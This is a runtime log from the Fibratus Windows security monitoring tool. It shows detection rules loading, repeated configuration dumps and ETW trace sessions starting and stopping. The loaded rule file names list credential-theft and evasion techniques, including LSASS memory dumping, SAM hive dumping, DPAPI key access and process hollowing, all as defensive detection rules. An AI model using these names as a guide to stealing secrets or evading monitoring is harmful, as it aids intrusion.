+time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T20:20:22+01:00 level=info msg=bootstrapping with pid 16344. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T20:20:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ content-type=>text/html port=>25 to=>[] use-template=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-image=>true enable-mem=>false stack-enrichment=>true enable-handle=>false enable-audit-api=>true enable-dns=>false flush-interval=>1s max-buffers=>36 enable-fileio=>true enable-registry=>true min-buffers=>16 enable-thread=>true enable-threadpool=>false buffer-size=>512 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-backups=>15 formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus index-name=>fibratus flush-period=>1s trace-log=>false bulk-workers=>1 sniff=>false healthcheck-interval=>10s enabled=>false timeout=>5s healthcheck-timeout=>5s gzip-compression=>false] amqp=>[ timeout=>5s enabled=>false passive=>false vhost=>/ delivery-mode=>transient routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus durable=>false url=>amqp://localhost:5672 exchange-type=>topic] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ enabled=>false method=>POST endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-registry=>false skip-files=>false fastscan=>true scan-timeout=>10s enabled=>false skip-mmaps=>false excluded-procs=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-05T20:20:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T20:20:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:20:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:20:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:20:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:20:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-05T20:20:53+01:00 level=info msg=bootstrapping with pid 17244. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T20:20:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ flush-interval=>1s enable-fileio=>true enable-dns=>false max-buffers=>36 enable-registry=>true enable-handle=>false enable-audit-api=>true buffer-size=>512 enable-mem=>false enable-image=>true stack-enrichment=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-thread=>true enable-vamap=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text level=>info max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ serializer=>json endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false method=>POST timeout=>5s enabled=>false] amqp=>[ passive=>false durable=>false exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic enabled=>false timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ routing-key=>fibratus] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ template-name=>fibratus healthcheck-interval=>10s trace-log=>false bulk-workers=>1 timeout=>5s gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s sniff=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false excluded-procs=>[] skip-registry=>false scan-timeout=>10s skip-allocs=>false enabled=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T20:20:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:20:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:21:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T20:21:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:21:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:43:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-05T20:43:28+01:00 level=info msg=bootstrapping with pid 17112. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T20:43:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true flush-interval=>1s enable-fileio=>true enable-mem=>false enable-registry=>true enable-handle=>false min-buffers=>16 enable-image=>true enable-thread=>true stack-enrichment=>true buffer-size=>512 max-buffers=>36 enable-vamap=>true enable-audit-api=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ amqp=>[ timeout=>5s delivery-mode=>transient durable=>false vhost=>/ exchange=>fibratus passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic enabled=>false routing-key=>fibratus] elasticsearch=>[ flush-period=>1s template-name=>fibratus healthcheck-interval=>10s sniff=>false bulk-workers=>1 trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-timeout=>5s gzip-compression=>false timeout=>5s index-name=>fibratus] http=>[ timeout=>5s endpoints=>[] method=>POST enabled=>false enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false excluded-files=>[] fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-05T20:43:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:43:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:43:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T20:43:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:43:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:46:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-05T20:46:19+01:00 level=info msg=bootstrapping with pid 6056. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T20:46:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-registry=>true enable-handle=>false min-buffers=>16 enable-threadpool=>false enable-audit-api=>true enable-image=>true enable-mem=>false flush-interval=>1s max-buffers=>36 enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-fileio=>true buffer-size=>512 enable-vamap=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-backups=>15 max-size=>100 max-age=>0] + output ......................... [ amqp=>[ durable=>false routing-key=>fibratus delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false passive=>false exchange=>fibratus vhost=>/ timeout=>5s enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ enable-gzip=>false method=>POST enabled=>false tls-insecure-skip-verify=>false serializer=>json endpoints=>[] timeout=>5s] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ enabled=>false healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s gzip-compression=>false bulk-workers=>1 flush-period=>1s trace-log=>false template-name=>fibratus index-name=>fibratus sniff=>false timeout=>5s healthcheck-timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false enabled=>false excluded-files=>[] excluded-procs=>[] scan-timeout=>10s skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false fastscan=>true skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T20:46:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:46:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:50:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T20:50:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:50:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:50:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-05T20:50:35+01:00 level=info msg=bootstrapping with pid 4088. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T20:50:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true enable-threadpool=>false enable-handle=>false enable-mem=>false enable-net=>true stack-enrichment=>true enable-fileio=>true enable-thread=>true enable-vamap=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-image=>true flush-interval=>1s min-buffers=>16 enable-registry=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text max-age=>0 level=>info max-size=>100 max-backups=>15] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ healthcheck=>true index-name=>fibratus bulk-workers=>1 trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s healthcheck-interval=>10s gzip-compression=>false sniff=>false enabled=>false healthcheck-timeout=>5s flush-period=>1s] amqp=>[ exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false exchange=>fibratus passive=>false routing-key=>fibratus durable=>false vhost=>/] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST enabled=>false timeout=>5s endpoints=>[] serializer=>json]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false skip-registry=>false skip-mmaps=>false skip-allocs=>false excluded-files=>[] excluded-procs=>[] scan-timeout=>10s fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T20:50:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:50:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:52:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T20:52:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:52:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T20:55:55+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_activity_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_child_spawned_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 